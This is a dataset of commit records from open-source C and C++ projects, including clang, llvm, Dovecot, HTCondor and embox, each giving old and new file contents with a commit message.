{"commit":"9efcb0413e4a7e59b83862d9a58c267ad8bb5d23","old_file":"Behaviors\/GoBackward.h","new_file":"Behaviors\/GoBackward.h","old_contents":"\/*\n * GoBackward.h\n *\n *  Created on: Mar 25, 2014\n *      Author: user\n *\/\n\n#ifndef GOBACKWARD_H_\n#define GOBACKWARD_H_\n\n#include \"Behavior.h\"\n#include \"..\/Robot.h\"\nclass GoBackward: public Behavior {\npublic:\n\tGoBackward(Robot* robot);\n\tbool startCondition();\n\tbool stopCondition();\n\tvoid action();\n\tvirtual ~GoBackward();\n};\n\n#endif \/* GOBACKWARD_H_ *\/\n","new_contents":"\/*\n * GoBackward.h\n *\n *  Created on: Mar 25, 2014\n *      Author: user\n *\/\n\n#ifndef GOBACKWARD_H_\n#define GOBACKWARD_H_\n\n#include \"Behavior.h\"\n#include \"..\/Robot.h\"\nclass GoBackward: public Behavior\n{\n\npublic:\n\tGoBackward(Robot* robot);\n\n\tbool startCondition();\n\tbool stopCondition();\n\tvoid action();\n\tvirtual ~GoBackward();\n\nprivate:\n\tint _steps_count;\n\n};\n\n#endif \/* GOBACKWARD_H_ *\/\n","subject":"Add logic to this behavior","message":"Add logic to this behavior","lang":"C","license":"apache-2.0","repos":"Jossef\/robotics,Jossef\/robotics"}
{"commit":"ec09e905db4bf5698c7c8bde2a41013c428f4308","old_file":"phraser\/cc\/analysis\/analysis_options.h","new_file":"phraser\/cc\/analysis\/analysis_options.h","old_contents":"#ifndef CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n#define CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n\n#include <cstddef>\n\nstruct AnalysisOptions {\n    AnalysisOptions() :\n        track_index_translation(true),\n        destutter_max_consecutive(3),\n        track_chr2drop(true),\n        replace_html_entities(true)\n    {}\n\n    \/\/ General flags:\n    \/\/ * Map tokens to spans in the original text.\n    bool track_index_translations;\n\n    \/\/ Preprocessing flags:\n    \/\/ * Maximum number of consecutive code points before we start dropping them.\n    \/\/ * Whether to keep track of code point drop counts from destuttering.\n    size_t destutter_max_consecutive;\n    bool track_chr2drop;\n\n    \/\/ Tokenization flags:\n    \/\/ * Whether to replace HTML entities in the text with their Unicode\n    \/\/   equivalents.\n    bool replace_html_entities;\n};\n\n#endif  \/\/ CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n","new_contents":"#ifndef CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n#define CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n\n#include <cstddef>\n\nstruct AnalysisOptions {\n    AnalysisOptions() :\n        destutter_max_consecutive(3),\n        replace_html_entities(true)\n    {}\n\n    \/\/ Preprocessing flags:\n    \/\/ * Maximum number of consecutive code points before we start dropping them.\n    size_t destutter_max_consecutive;\n\n    \/\/ Tokenization flags:\n    \/\/ * Whether to replace HTML entities in the text with their Unicode\n    \/\/   equivalents.\n    bool replace_html_entities;\n};\n\n#endif  \/\/ CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n","subject":"Remove them. Deal with them later if perf is actually an issue here.","message":"Remove them.  Deal with them later if perf is actually an issue here.\n","lang":"C","license":"mit","repos":"escherba\/phraser,knighton\/phraser,escherba\/phraser,escherba\/phraser,knighton\/phraser,knighton\/phraser,knighton\/phraser,escherba\/phraser"}
{"commit":"14d3966cf69de96f4a25b0f4ffb462d51b3b2112","old_file":"tests\/error\/0018-voidparam.c","new_file":"tests\/error\/0018-voidparam.c","old_contents":"\nint\nfoo(void, int x)\n{\n\treturn 0;\n}\n\nint\nmain()\n{\n\treturn foo();\n}\n","new_contents":"int\na(void, int i)\n{\n\treturn 0;\n}\n\nint\nb(int i, void)\n{\n\treturn 0;\n}\n\nint\nc(void, void)\n{\n\treturn 0;\n}\n\nint\nd(void, ...)\n{\n\treturn 0;\n}\n\nint\nmain()\n{\n\treturn 0;\n}\n","subject":"Improve error test for void parameter","message":"[tests] Improve error test for void parameter\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"05a3ffb6b93cf390f5401511184303a419de3cbf","old_file":"src\/thermal_config.h","new_file":"src\/thermal_config.h","old_contents":"#ifndef THERMALCONFIG_H\n#define THERMALCONFIG_H\n\n#ifndef M_PI\nconst double M_PI = 3.141592653;\n#endif\n\nconst double T0 = 273.15;  \/\/ [C]\n\nconst double R_TSV = 5e-6;  \/\/ [m]\n\n\/* Thermal conductance *\/\nconst double Ksi = 148.0;  \/\/ Silicon\nconst double Kcu = 401.0;  \/\/ Copper\nconst double Kin = 1.5;    \/\/ insulator\nconst double Khs = 2.0;    \/\/ Heat sink\n\n\/* Thermal capacitance *\/\nconst double Csi = 1.66e6;  \/\/ Silicon\nconst double Ccu = 3.2e6;   \/\/ Copper\nconst double Cin = 1.65e6;  \/\/ insulator\nconst double Chs = 2.42e6;  \/\/ Heat sink\n\n\/* Layer Hight *\/\nconst double Hsi = 400e-6;   \/\/ Silicon\nconst double Hcu = 5e-6;     \/\/ Copper\nconst double Hin = 20e-6;    \/\/ Insulator\nconst double Hhs = 1000e-6;  \/\/ Heat sink\n\n#endif\n","new_contents":"#ifndef THERMALCONFIG_H\n#define THERMALCONFIG_H\n\n#ifndef M_PI\nconst double M_PI = 3.141592653;\n#endif\n\nconst double T0 = 273.15;  \/\/ [C]\n\nconst double R_TSV = 5e-6;  \/\/ [m]\n\n\/* Thermal conductance *\/\nconst double Ksi = 148.0;  \/\/ Silicon\nconst double Kcu = 401.0;  \/\/ Copper\nconst double Kin = 1.5;    \/\/ insulator\nconst double Khs = 4.0;    \/\/ Heat sink\n\n\/* Thermal capacitance *\/\nconst double Csi = 1.66e6;  \/\/ Silicon\nconst double Ccu = 3.2e6;   \/\/ Copper\nconst double Cin = 1.65e6;  \/\/ insulator\nconst double Chs = 2.42e6;  \/\/ Heat sink\n\n\/* Layer Hight *\/\nconst double Hsi = 400e-6;   \/\/ Silicon\nconst double Hcu = 5e-6;     \/\/ Copper\nconst double Hin = 20e-6;    \/\/ Insulator\nconst double Hhs = 1000e-6;  \/\/ Heat sink\n\n#endif\n","subject":"Change default khs to 4","message":"Change default khs to 4\n","lang":"C","license":"mit","repos":"umd-memsys\/DRAMsim3,umd-memsys\/DRAMsim3,umd-memsys\/DRAMsim3"}
{"commit":"8def6e83038b43b798a935edab9d77476ec47372","old_file":"test\/Sema\/attr-weak.c","new_file":"test\/Sema\/attr-weak.c","old_contents":"\/\/ RUN: %clang_cc1 -verify -fsyntax-only %s\n\nextern int g0 __attribute__((weak));\nextern int g1 __attribute__((weak_import));\nint g2 __attribute__((weak));\nint g3 __attribute__((weak_import)); \/\/ expected-warning {{'weak_import' attribute cannot be specified on a definition}}\nint __attribute__((weak_import)) g4(void);\nvoid __attribute__((weak_import)) g5(void) {\n}\n\nstruct __attribute__((weak)) s0 {}; \/\/ expected-warning {{'weak' attribute only applies to variables, functions, and classes}}\nstruct __attribute__((weak_import)) s1 {}; \/\/ expected-warning {{'weak_import' attribute only applies to variables and functions}}\n\nstatic int x __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\n\n\/\/ rdar:\/\/9538608\nint C; \/\/ expected-note {{previous definition is here}}\nextern int C __attribute__((weak_import)); \/\/ expected-warning {{an already-declared variable is made a weak_import declaration}}\n\nstatic int pr14946_x;\nextern int pr14946_x  __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\n\nstatic void pr14946_f();\nvoid pr14946_f() __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\n","new_contents":"\/\/ RUN: %clang_cc1 -verify -fsyntax-only %s\n\nextern int f0() __attribute__((weak));\nextern int g0 __attribute__((weak));\nextern int g1 __attribute__((weak_import));\nint f2() __attribute__((weak));\nint g2 __attribute__((weak));\nint g3 __attribute__((weak_import)); \/\/ expected-warning {{'weak_import' attribute cannot be specified on a definition}}\nint __attribute__((weak_import)) g4(void);\nvoid __attribute__((weak_import)) g5(void) {\n}\n\nstruct __attribute__((weak)) s0 {}; \/\/ expected-warning {{'weak' attribute only applies to variables, functions, and classes}}\nstruct __attribute__((weak_import)) s1 {}; \/\/ expected-warning {{'weak_import' attribute only applies to variables and functions}}\n\nstatic int f() __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\nstatic int x __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\n\n\/\/ rdar:\/\/9538608\nint C; \/\/ expected-note {{previous definition is here}}\nextern int C __attribute__((weak_import)); \/\/ expected-warning {{an already-declared variable is made a weak_import declaration}}\n\nstatic int pr14946_x;\nextern int pr14946_x  __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\n\nstatic void pr14946_f();\nvoid pr14946_f() __attribute__((weak)); \/\/ expected-error {{weak declaration cannot have internal linkage}}\n","subject":"Add tests for weak functions","message":"[Sema] Add tests for weak functions\n\nI found these checks to be missing, just add some simple cases.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D47200\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@333283 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"e2c7691081b857651a031bf66e42dc1735d6b0a4","old_file":"src\/tests\/express_tests.h","new_file":"src\/tests\/express_tests.h","old_contents":"\/**\n * \\file express_tests.h\n * \\date Jul 4, 2009\n * \\author anton\n * \\details\n *\/\n#ifndef EXPRESS_TESTS_H_\n#define EXPRESS_TESTS_H_\n\ntypedef struct _EXPRESS_TEST_DESCRIPTOR {\n\tconst char *name;\n\tint (*exec)();\n} EXPRESS_TEST_DESCRIPTOR;\n\n#define REGISTER_EXPRESS_TEST(descr) static void _register_express_test(){ \\\n    __asm__( \\\n            \".section .express_tests\\n\\t\" \\\n            \".word %0\\n\\t\" \\\n            \".text\\n\" \\\n            : :\"i\"(&descr)); \\\n            }\n\n#define DECLARE_EXPRESS_TEST(name, exec) \\\n\tstatic int exec(); \\\n\tstatic const EXPRESS_TEST_DESCRIPTOR _descriptor = { name, exec }; \\\n\tREGISTER_EXPRESS_TEST(_descriptor);\n\nint express_tests_execute();\n\n#endif \/* EXPRESS_TESTS_H_ *\/\n","new_contents":"\/**\n * \\file express_tests.h\n * \\date Jul 4, 2009\n * \\author anton\n * \\details\n *\/\n#ifndef EXPRESS_TESTS_H_\n#define EXPRESS_TESTS_H_\n\ntypedef struct _EXPRESS_TEST_DESCRIPTOR {\n\tconst char *name;\n\tint (*exec)();\n} EXPRESS_TEST_DESCRIPTOR;\n\n\/*\n#define REGISTER_EXPRESS_TEST(descr) static void _register_express_test(){ \\\n    __asm__( \\\n            \".section .express_tests\\n\\t\" \\\n            \".word %0\\n\\t\" \\\n            \".text\\n\" \\\n            : :\"i\"(&descr)); \\\n            }\n\n#define DECLARE_EXPRESS_TEST(name, exec) \\\n\tstatic int exec(); \\\n\tstatic const EXPRESS_TEST_DESCRIPTOR _descriptor = { name, exec }; \\\n\tREGISTER_EXPRESS_TEST(_descriptor);\n*\/\n\n#define DECLARE_EXPRESS_TEST(name, exec) \\\n    static int exec(); \\\n    static const EXPRESS_TEST_DESCRIPTOR _descriptor = { name, exec }; \\\n    static const EXPRESS_TEST_DESCRIPTOR *_pdescriptor __attribute__ ((section(\".express_tests\"))) = &_descriptor;\n\nint express_tests_execute();\n\n#endif \/* EXPRESS_TESTS_H_ *\/\n","subject":"Change declaration express test macros","message":"Change declaration express test macros","lang":"C","license":"bsd-2-clause","repos":"vrxfile\/embox-trik,vrxfile\/embox-trik,vrxfile\/embox-trik,Kefir0192\/embox,Kefir0192\/embox,embox\/embox,Kakadu\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,mike2390\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,gzoom13\/embox,Kakadu\/embox,Kakadu\/embox,Kakadu\/embox,abusalimov\/embox,mike2390\/embox,abusalimov\/embox,vrxfile\/embox-trik,embox\/embox,mike2390\/embox,Kakadu\/embox,abusalimov\/embox,abusalimov\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,Kefir0192\/embox,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,gzoom13\/embox,vrxfile\/embox-trik,mike2390\/embox,gzoom13\/embox,embox\/embox,vrxfile\/embox-trik,embox\/embox,Kakadu\/embox,gzoom13\/embox,embox\/embox,mike2390\/embox,Kefir0192\/embox"}
{"commit":"1d038914e5659449cdf265169860766292a8bc93","old_file":"test\/CodeGen\/statements.c","new_file":"test\/CodeGen\/statements.c","old_contents":"\/\/ RUN: rm -f %S\/statements.ll\n\/\/ RUN: %clang_cc1 -Wreturn-type %s -emit-llvm-only\n\nvoid test1(int x) {\nswitch (x) {\ncase 111111111111111111111111111111111111111:\nbar();\n}\n}\n\n\/\/ Mismatched type between return and function result.\nint test2() { return; }\nvoid test3() { return 4; }\n\n\nvoid test4() {\nbar:\nbaz:\nblong:\nbing:\n ;\n\n\/\/ PR5131\nstatic long x = &&bar - &&baz;\nstatic long y = &&baz;\n  &&bing;\n  &&blong;\n  if (y)\n    goto *y;\n\n  goto *x;\n}\n\n\/\/ PR3869\nint test5(long long b) {\n  static void *lbls[] = { &&lbl };\n  goto *b;\n lbl:\n  return 0;\n}\n\n","new_contents":"\/\/ RUN: %clang_cc1 -Wreturn-type %s -emit-llvm-only\n\nvoid test1(int x) {\nswitch (x) {\ncase 111111111111111111111111111111111111111:\nbar();\n}\n}\n\n\/\/ Mismatched type between return and function result.\nint test2() { return; }\nvoid test3() { return 4; }\n\n\nvoid test4() {\nbar:\nbaz:\nblong:\nbing:\n ;\n\n\/\/ PR5131\nstatic long x = &&bar - &&baz;\nstatic long y = &&baz;\n  &&bing;\n  &&blong;\n  if (y)\n    goto *y;\n\n  goto *x;\n}\n\n\/\/ PR3869\nint test5(long long b) {\n  static void *lbls[] = { &&lbl };\n  goto *b;\n lbl:\n  return 0;\n}\n\n","subject":"Revert \"Clean up in buildbot directories.\"","message":"Revert \"Clean up in buildbot directories.\"\n\nThis reverts commit 113814.\n\nThis patch was never intended to stay in the repository. If you are reading this\nfrom the future, we apologize for the noise.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@113990 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"eb90e028623c3e73faed4f1998af265e5ad8c90b","old_file":"tests\/ut_mimrotationanimation\/ut_mimrotationanimation.h","new_file":"tests\/ut_mimrotationanimation\/ut_mimrotationanimation.h","old_contents":"","new_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef UT_MIMROTATIONANIMATION_H\n#define UT_MIMROTATIONANIMATION_H\n\n#include <QtTest\/QtTest>\n#include <QObject>\n\nclass MIMApplication;\n\nclass Ut_MImRotationAnimation : public QObject\n{\n    Q_OBJECT\n\nprivate Q_SLOTS:\n    void initTestCase();\n    void cleanupTestCase();\n\n    void testPassthruHiddenDuringRotation();\n\nprivate:\n    MIMApplication *app;\n};\n\n#endif \/\/ UT_MIMROTATIONANIMATION_H\n","subject":"Add missing header from previous commit","message":"Changes: Add missing header from previous commit\n","lang":"C","license":"lgpl-2.1","repos":"jpetersen\/framework,sil2100\/maliit-framework,sil2100\/maliit-framework,RHawkeyed\/framework,RHawkeyed\/framework,sil2100\/maliit-framework,jpetersen\/framework,sil2100\/maliit-framework,Elleo\/framework,binlaten\/framework,Elleo\/framework"}
{"commit":"855e7cd9d230f0c2dc1699bdaafc4f5ccf4e968f","old_file":"src\/condor_includes\/condor_fix_unistd.h","new_file":"src\/condor_includes\/condor_fix_unistd.h","old_contents":"#ifndef FIX_UNISTD_H\n#define FIX_UNISTD_H\n\n#include <unistd.h>\n\n\n\/*\n  For some reason the g++ include files on Ultrix 4.3 fail to provide\n  these prototypes, even though the Ultrix 4.2 versions did...\n  Once again, OSF1 also chokes, unless _AES_SOURCE(?) is defined JCP\n*\/\n#if defined(ULTRIX43) || defined(OSF1)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\n\tint symlink( const char *, const char * );\n\tchar *sbrk( int );\n\tint gethostname( char *, int );\n#else\n\tint symlink();\n\tchar *sbrk();\n\tint gethostname();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","new_contents":"#ifndef FIX_UNISTD_H\n#define FIX_UNISTD_H\n\n#include <unistd.h>\n\n\n\/*\n  For some reason the g++ include files on Ultrix 4.3 fail to provide\n  these prototypes, even though the Ultrix 4.2 versions did...\n  Once again, OSF1 also chokes, unless _AES_SOURCE(?) is defined JCP\n*\/\n#if defined(ULTRIX43) || defined(OSF1)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\n\tint symlink( const char *, const char * );\n\tvoid *sbrk( ssize_t );\n\tint gethostname( char *, int );\n#else\n\tint symlink();\n\tchar *sbrk();\n\tint gethostname();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","subject":"Change sbrk() prototype to sensible version with void * and ssize_t.","message":"Change sbrk() prototype to sensible version with void * and ssize_t.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/condor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor"}
{"commit":"428473bf2164a5e1c6932ce0fc809b603a70fe41","old_file":"test\/FrontendC\/2009-08-11-AsmBlocksComplexJumpTarget.c","new_file":"test\/FrontendC\/2009-08-11-AsmBlocksComplexJumpTarget.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc %s -fasm-blocks -S -o - | grep {\\\\\\*1192}\n\/\/ Complicated expression as jump target\n\/\/ XFAIL: *\n\/\/ XTARGET: darwin\n\nasm void Method3()\n{\n    mov   eax,[esp+4]           \n    jmp   [eax+(299-1)*4]       \n}\n","subject":"Test for llvm-gcc patch 78762.","message":"Test for llvm-gcc patch 78762.\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@78763 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"25b92604e2fcdbcabe747d9e8a51c04608785254","old_file":"C\/check_stack_crowth.c","new_file":"C\/check_stack_crowth.c","old_contents":"","new_contents":"\/\/ from vim(os_unix.c)\n\n\/*\n * Find out if the stack grows upwards or downwards.\n * \"p\" points to a variable on the stack of the caller.\n *\/\n    static void\ncheck_stack_growth(p)\n    char        *p;\n{\n    int         i;\n\n    stack_grows_downwards = (p > (char *)&i);\n}\n","subject":"Copy code from vim to check stack grow direction.","message":"[C] Copy code from vim to check stack grow direction.\n","lang":"C","license":"bsd-2-clause","repos":"sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets,sgkim126\/snippets"}
{"commit":"f554e0d35c5063abcb2074af2d1e2b960bee1e00","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"7f779ba2a37c3c78968c991bc07a90bf7e4d1b53","old_file":"src\/server\/helpers.h","new_file":"src\/server\/helpers.h","old_contents":"#ifndef HELPERS_H\n#define HELPERS_H\n\n#include <stdlib.h>\n#include <netdb.h>\n#include <arpa\/inet.h>\n#include <errno.h>\n\n#include <string>\n\n#define RCV_SIZE 2\n\nchar * get_ip_str(const struct sockaddr *sa, char *s, size_t maxlen);\n\n\nchar * addrinfo_to_ip(const addrinfo info, char * ip);\n\nvoid *get_in_addr(const sockaddr *sa);\n\nstd::string recieveFrom(const int sock, char * buffer);\n\nstd::string split_message(std::string * key, std::string message);\n\n#endif \/\/ HELPERS_H\n","new_contents":"#ifndef HELPERS_H\n#define HELPERS_H\n\n#include <stdlib.h>\n#include <netdb.h>\n#include <arpa\/inet.h>\n#include <errno.h>\n#include <cstring>\n\n#include <string>\n\n#define RCV_SIZE 2\n\nchar * get_ip_str(const struct sockaddr *sa, char *s, size_t maxlen);\n\n\nchar * addrinfo_to_ip(const addrinfo info, char * ip);\n\nvoid *get_in_addr(const sockaddr *sa);\n\nstd::string recieveFrom(const int sock, char * buffer);\n\nstd::string split_message(std::string * key, std::string message);\n\n#endif \/\/ HELPERS_H\n","subject":"Fix ‘strncpy’ was not declared in this scope","message":"[code\/server] Fix ‘strncpy’ was not declared in this scope\n","lang":"C","license":"mit","repos":"C4ptainCrunch\/info-f-209,C4ptainCrunch\/info-f-209,C4ptainCrunch\/info-f-209"}
{"commit":"610c36d3e6b6f9ef92cd9729f180415a3369ceae","old_file":"components\/clk\/src\/clk.c","new_file":"components\/clk\/src\/clk.c","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <stdint.h>\n#include <platsupport\/clock.h>\n\n#include <clk.h>\n\nclock_sys_t clock_sys;\n\nunsigned int clktree_get_spi1_freq(void){\n    clk_t* clk;\n    clk = clk_get_clock(&clock_sys, CLK_SPI1);\n    return clk_get_freq(clk);\n}\n\n\nunsigned int clktree_set_spi1_freq(unsigned int rate){\n    clk_t* clk;\n    clk = clk_get_clock(&clock_sys, CLK_SPI1);\n    return clk_set_freq(clk, rate);\n}\n\n\nvoid clktree__init(void){\n    int err;\n    err = exynos5_clock_sys_init(cmu_cpu_clk,\n                                 cmu_core_clk,\n                                 NULL,\n                                 NULL,\n                                 cmu_top_clk,\n                                 NULL,\n                                 NULL,\n                                 NULL,\n                                 NULL,\n                                 &clock_sys);\n    assert(!err);\n    if(err){\n        printf(\"Failed to initialise clock tree\\n\");\n    }\n}\n\n\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <stdint.h>\n#include <platsupport\/clock.h>\n\n#include <clk.h>\n\nclock_sys_t clock_sys;\n\nunsigned int clktree_get_spi1_freq(void){\n    clk_t* clk;\n    clk = clk_get_clock(&clock_sys, CLK_SPI1);\n    return clk_get_freq(clk);\n}\n\n\nunsigned int clktree_set_spi1_freq(unsigned int rate){\n    clk_t* clk;\n    clk = clk_get_clock(&clock_sys, CLK_SPI1);\n    return clk_set_freq(clk, rate);\n}\n\n\nvoid clktree__init(void){\n    int err;\n    err = exynos5_clock_sys_init(cmu_cpu_clk,\n                                 cmu_core_clk,\n                                 NULL,\n                                 NULL,\n                                 cmu_top_clk,\n                                 NULL,\n                                 NULL,\n                                 NULL,\n                                 NULL,\n\t\t\t\t NULL,\n                                 &clock_sys);\n    assert(!err);\n    if(err){\n        printf(\"Failed to initialise clock tree\\n\");\n    }\n}\n\n\n","subject":"Fix due to the changes in libplatsupport.","message":"Fix due to the changes in libplatsupport.\n","lang":"C","license":"bsd-2-clause","repos":"smaccm\/camkes-apps-DARPA--devel"}
